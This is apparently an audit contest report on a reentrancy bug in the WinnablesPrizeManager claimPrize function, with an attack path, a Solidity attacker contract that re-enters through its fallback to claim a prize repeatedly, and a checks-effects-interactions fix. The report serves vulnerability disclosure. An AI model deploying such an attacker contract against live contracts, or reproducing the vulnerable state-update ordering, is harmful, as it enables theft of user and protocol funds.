Mammoth Stone Grasshopper

High

# ETH prize winner will reenter `WinnablesPrizeManager::claimPrize` and wipe all `WinnablesPrizeManager` ETH

### Summary

The [`WinnablesPrizeManager::claimPrize`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105) function is vulnerable to a reentrancy attack due to the fact that the `rafflePrize.status` is updated only after an external call is made to the winner. A malicious winner could exploit this by setting a fallback function in their address that re-enters the claimPrize function, potentially draining all the ETH in the contract.


### Root Cause

The root cause of the vulnerability is the sequence in which the function operations are executed. `rafflePrize.status` is updated only after the contract makes an external call to the winner's address to send them ETH. This order allows the winner to re-enter the function through the fallback function in their contract before the prize status is updated.


### Internal pre-conditions

1. The raffle prize must be ETH (rafflePrize.raffleType == RaffleType.ETH).
2. There must be at least double the amount of the ETH prize in the contract.

### External pre-conditions

The winner’s address must be a contract with a fallback function to reenter the claimPrize function.

### Attack Path

1. Attacker deploys a contract that contains a fallback function that re-enters the claimPrize function.
2. The attacker participates in ETH raffles until they win the prize.
3. Upon winning, attacker calls `WinnablesPrizeManager::claimPrize`, which will call the attacker's contract's fallback function to call `WinnablesPrizeManager::claimPrize` again until depleting WinnablesPrizeManager's ETH balance.


### Impact

The malicious user will drain all the ETH held by the WinnablesPrizeManager contract. This means either stealing the protocol's balance, or the prizes that should go to other raffle participants.


### PoC

The [mock contract](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/mock/ReentrantClaimer.sol) below, extracted from the project's mock folder, shows the exact dynamics an attacker contract must have to exploit this vulnerability.

```Solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

interface IPrizeManager {
    function claimPrize(uint256 raffleId) external;
}

contract ReentrantClaimer {
    bool private _done;
    uint256 private _raffleId;
    address private _prizeManager;

    function doubleClaim(address prizeManager, uint256 raffleId) external {
        _raffleId = raffleId;
        _prizeManager = prizeManager;
        IPrizeManager(prizeManager).claimPrize(raffleId);
    }

    fallback() external payable {
        if (_done) {
            _done = false;
            _raffleId = 0;
            _prizeManager = address(0);
            return;
        }
        _done = true;
        IPrizeManager(_prizeManager).claimPrize(_raffleId);
    }

    receive() external payable {}
}
```


### Mitigation

Consider using the “checks-effects-interactions” pattern, where all state changes are made before any external calls: update the rafflePrize.status before making the external call to the winner.

```Diff
function claimPrize(uint256 raffleId) external {
        RafflePrize storage rafflePrize = _rafflePrize[raffleId];
+       if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed();
+       rafflePrize.status = RafflePrizeStatus.CLAIMED;
        RaffleType raffleType = rafflePrize.raffleType;
        if (raffleType == RaffleType.NFT) {
            NFTInfo storage raffle = _nftRaffles[raffleId];
            _nftLocked[raffle.contractAddress][raffle.tokenId] = false;
            _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender);
        } else if (raffleType == RaffleType.TOKEN) {
            TokenInfo storage raffle = _tokenRaffles[raffleId];
            unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; }
            _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender);
        } else if (raffleType == RaffleType.ETH) {
            unchecked { _ethLocked -= _ethRaffles[raffleId]; }
            _sendETHPrize(_ethRaffles[raffleId], msg.sender);
        } else revert InvalidRaffle();
        if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim();
-       if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed();
-       rafflePrize.status = RafflePrizeStatus.CLAIMED;
        emit PrizeClaimed(raffleId, msg.sender);
    }
```
